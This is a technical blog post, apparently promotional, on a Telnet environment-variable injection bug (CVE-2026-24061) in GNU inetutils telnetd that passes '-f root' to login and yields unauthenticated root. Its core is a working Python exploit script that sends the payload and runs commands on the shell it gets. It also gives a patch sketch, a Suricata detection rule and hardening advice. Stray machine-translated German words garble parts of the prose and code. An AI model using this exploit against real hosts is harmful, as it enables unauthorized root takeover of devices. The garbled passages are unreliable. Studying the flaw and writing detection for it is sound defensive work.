If you are reading this in 2026, you probably fall into one of two categories: you are a historian of forgotten protocols, or you just got paged at 3:00 AM because a legacy subsystem in your OT (Operational Technology) network was root-compromised via port 23.
It is easy to mock Telnet. We have spent the last two decades deprecating it, blocking it, and laughing at it. Yet, CVE-2026-24061 has arrived to remind us of a fundamental truth in cybersecurity: Legacy code does not rot; it waits.
This is not a high-level advisory for managers. This is a deep technical dive for security engineers, exploit developers, and automation architects. We will dismantle the protocol negotiation logic defined in RFC 1572, analyze the C-level sanitization failure in GNU Inetutils, write a raw socket exploit from scratch, and discuss why modern Agentic AI (like Penligent) succeeds in detecting this where traditional scanners fail.
The Anatomy of a Protocol Ghost
To understand CVE-2026-24061, we must first strip away the GUI tools and look at the raw bytes of a Telnet negotiation. Telnet is not just a “remote shell”; it is a complex state machine capable of negotiating terminal types, window sizes, and—crucially—environment variables.
The RFC 1572 Mechanism
In the early days of ARPANET, users needed a way to tell the mainframe what kind of terminal they were using (e.g., VT100) or what their X11 display variable was. To solve this, RFC 1572 (Telnet Environment Option) was created.
The negotiation flow looks like this:
- Server:
IAC DO NEW-ENVIRON(Can you send me your environment?) - Client:
IAC WILL NEW-ENVIRON(Yes, I can.) - Server:
IAC SB NEW-ENVIRON SEND VAR "USER" IAC SE(Okay, send me your USER variable.) - Client:
IAC SB NEW-ENVIRON IS VAR "USER" VALUE "admin" IAC SE(Here it is.)
The Fatal Flaw in GNU Inetutils
The vulnerability in CVE-2026-24061 is a classic case of Argument Injection via unscrubbed input.
Wenn telnetd receives the environment variables from the client, it must prepare the execution environment for the /bin/login binary. The login binary is responsible for the actual authentication prompt.
In a secure implementation, the daemon should only accept specific, safe variables (like TERM). However, the vulnerable version of GNU Inetutils accepted the USER variable and passed it directly to the argument vector of login.
The Vulnerable Logic (Pseudo-C):
C
`/* Simplified representation of the flaw in telnetd.c */ char *user_env = get_env_value(“USER”); char *args[4];
args[0] = “login”; args[1] = “-p”; // Preserve environment // THE BUG: No validation that user_env is just a username args[2] = user_env; args[3] = NULL;
execv(“/bin/login”, args);`
If a legitimate user connects, args[2] is simply alice. Die login program prompts Alice for a password.
However, if an attacker sends a crafted malicious payload where USER is set to -f root, the execution call becomes:
Bash
/bin/login -p -f root
Warum ist das so katastrophal?
On most Linux systems (specifically those using util-linux or standard shadow suites), the -f flag stands for Force. It tells the login program: “The user is already authenticated. Skip the password prompt and log them in as the specified user.”
Seit telnetd runs as root (to bind port 23), it has the privilege to use the -f flag. The login binary trusts telnetdund telnetd blindly trusted the attacker.
Engineering the Exploit (Proof of Concept)
A standard Telnet client (telnet 192.168.1.5) will not let you easily manipulate these raw protocol frames. To exploit CVE-2026-24061, we need to go lower level using Python’s socket library to construct the RFC-compliant handshake manually.
Disclaimer: This code is for educational and defensive testing purposes only. Use this to validate your own infrastructure.
The Protocol Handshake Script
We need to handle the IAC (Interpret As Command, byte 0xFF) sequences.
Python
`import socket import struct import sys import time
Telnet Protocol Constants
IAC = b’\xff’ # Interpret As Command DONT = b’\xfe’ DO = b’\xfd’ WONT = b’\xfc’ WILL = b’\xfb’ SB = b’\xfa’ # Subnegotiation Begin SE = b’\xf0′ # Subnegotiation End
Option Constants
OPT_NEW_ENVIRON = b’\x27′ # RFC 1572 VAR = b’\x00′ VALUE = b’\x01′ USER_VAR = b’USER’
def exploit_cve_2026_24061(target_ip, target_port=23): print(f”[*] Initiating connection to {target_ip}:{target_port}…”) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5)
try:
s.connect((target_ip, target_port))
# 1. Negotiation Phase
# We need to aggressively offer the NEW-ENVIRON option
print("[*] Sending IAC WILL NEW-ENVIRON")
s.sendall(IAC + WILL + OPT_NEW_ENVIRON)
# 2. Wait for server response (Looking for IAC DO NEW-ENVIRON)
# In a real exploit, you'd parse the stream. Here we simplify.
time.sleep(1)
data = s.recv(1024)
print(f"[*] Received negotiation bytes: {data.hex()}")
if IAC + DO + OPT_NEW_ENVIRON in data:
print("[+] Server accepted Environment negotiation.")
# 3. The Payload Injection
# Structure: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
# The space in "-f root" is crucial.
payload = (
IAC + SB + OPT_NEW_ENVIRON +
b'\\x00' + # IS
VAR + USER_VAR +
VALUE + b'-f root' + # THE INJECTION
IAC + SE
)
print(f"[*] Sending Payload: USER = '-f root'")
s.sendall(payload)
# 4. Check for Shell
time.sleep(1)
response = s.recv(4096)
print(f"[*] Response:\\n{response.decode('utf-8', errors='ignore')}")
if b"#" in response or b"root@" in response:
print("[!!!] ROOT SHELL OBTAINED. Vulnerability Confirmed.")
s.sendall(b"id; uname -a\\n")
print(s.recv(4096).decode())
else:
print("[-] Exploit failed. Target might be patched or non-GNU.")
except Exception as e:
print(f"[!] Error: {e}")
finally:
s.close()
wenn Name == “Haupt“: exploit_cve_2026_24061(“10.0.0.50”)`
Why This Works When Scanners Fail
Most vulnerability scanners operate on Signature Matching. They verify the banner:
Telnet server (GNU inetutils 1.9.4)-> Flag as vulnerable.Cisco IOS Software-> Flag as safe.
However, many embedded devices strip banners or use custom compilation strings. A signature-based scanner will miss a vulnerable inetutils instance running on a generic IoT gateway labeled “Industrial Control v1.0”.
The script above performs Behavioral Verification. It doesn’t care what the server calls itself; it cares if the server Logik accepts the injection.
The Failure of “Dumb” Automation vs. The Rise of Agentic AI
The script above is effective, but it is brittle. Network latency, non-standard negotiation sequences, or slightly different option handling can break a static script. This is the limitation of “scripted” penetration testing.
In 2026, the attack surface is too massive and too subtle for static scripts. This is where Agentische KI—the core technology behind platforms like Sträflich—changes the paradigm.
The Agentic Difference in Protocol Fuzzing
When a human security engineer attacks a protocol, they don’t just fire a script and walk away. They interact.
- “Oh, the server rejected
NEW-ENVIRON? Let me tryOLD-ENVIRON(Option 36).” - “It rejected
f root? Maybe it filters spaces. Let me tryWurzeland see if I can bruteforce logic.”
Penligent.ai automates this human-like reasoning. Instead of a linear script, Penligent deploys a Protocol Agent.
State-Aware Fuzzing
The Agent maintains a state machine of the Telnet session. It reads the RFCs (ingested during training) and understands that IAC WONT means “I refuse.” If the server refuses environment negotiation, the Agent dynamically attempts to downgrade the protocol version or pivot to other option exploitations (like TTYPE injection) without user intervention.
Logic Inference
For CVE-2026-24061, the Penligent Agent detects the nuance of the login binary. If the injection -f root fails, the Agent analyzes the error message.
- Error: “Login: invalid user name -f root” -> The system is sanitizing spaces.
- Agent Action: Pivot strategy. Attempt to inject environment variables that control the dynamic linker (
LD_PRELOAD) or locale settings (LC_ALL) to trigger buffer overflows in the authentication prompt itself.
Safe Exploitation Mode
In Operational Technology (OT) environments, crashing a Telnet service might stop a factory production line. Penligent utilizes “Safe Exploitation,” where the Agent is constrained. For CVE-2026-24061, instead of spawning a full shell, it might inject a command that simply echos a random string and exits. If the string is echoed back without a password prompt, the vulnerability is verified with zero impact on system stability.
This moves the industry from “Probabilistic Scanning” (Guessing) to “Deterministic Verification” (Proving).
Real-World Impact Scenarios
Why does CVE-2026-24061 matter in a world of SSH and Zero Trust? Because the world isn’t pure.
The Embedded IoT Supply Chain
Many IP cameras, routers, and industrial sensors run stripped-down versions of Linux (BusyBox). Developers often include inetutils for debugging during manufacturing and forget to remove it. These devices sit on networks for 10+ years, unpatched. An attacker inside the perimeter can use this vulnerability to turn a thermostat into a persistent pivot point.
Legacy Banking & Telecom
Mainframe interfaces and old switch management consoles often rely on Telnet because modern SSH implementations are too heavy for the 1990s hardware they run on. A bypass here gives an attacker direct access to the financial routing layer.
Container “Sidecars”
In modern Kubernetes clusters, we often find “debug containers” left running. If a developer installed telnetd in a sidecar to test connectivity and exposed it, this vulnerability allows an attacker to break out of the application logic and seize control of the container, potentially escaping to the node.
Aufdeckungs- und Sanierungsstrategie
The Fix: Patching
The immediate fix is to upgrade inetutils. The patch introduced in version 2.8 adds a strict whitelist to the environment variable handler.
C
/* Patched Logic */ if (strcmp(var_name, "TERM") != 0 && strcmp(var_name, "DISPLAY") != 0) { // Drop the variable continue; } if (strchr(var_value, '-')) { // Sanitize dashes to prevent flag injection log_security_event("Potential injection attempt"); continue; }
Network Defense (Suricata/Snort Rules)
If you cannot patch (common in ICS environments), you must detect. The following Suricata rule detects the binary signature of the injection attempt.
YAML
alert tcp $EXTERNAL_NET any -> $HOME_NET 23 ( msg:"ET EXPLOIT CVE-2026-24061 GNU Telnetd User Injection"; flow:to_server,established; # Look for IAC SB NEW-ENVIRON (FF FA 27) content:"|FF FA 27|"; # Look for the USER variable (00 00 or 00 55 53 45 52) content:"USER"; nocase; distance:0; # Look for the -f flag injection content:"-f"; fast_pattern; distance:0; # Look for root or other high-priv users pcre:"/USER.*-f\\s+(root|admin|bin)/smi"; reference:cve,2026-24061; classtype:attempted-admin; sid:1000026; rev:1; )
Architectural Hygiene
- Kill the Port: Audit your entire IP space for port 23. There is no excuse.
- VPN Wrappers: If a legacy device muss use Telnet, it should never handle the connection directly. Place it behind a VPN concentrator or a bastion host that accepts SSH and tunnels traffic locally to the legacy port.
Conclusion: The Long Tail of Vulnerability
CVE-2026-24061 is not technically novel; it is a variation of bugs we saw in the 1990s. But that is exactly why it is dangerous. We stopped looking for it.
As security engineers, our focus is often drawn to the “new hotness”—LLM prompt injections, quantum cryptography breaks, or smart contract flaws. But attackers are pragmatists. They don’t burn a million-dollar zero-day when a thirty-year-old environment injection in a forgotten protocol works just as well.
The lesson of CVE-2026-24061 is clear: Verification must be continuous, and it must be comprehensive. We cannot rely on assumptions about what technologies are “extinct.” We need tools like Penligent and rigorous engineering practices to constantly stress-test the foundations of our networks, ensuring that the ghosts of the past don’t haunt our future.
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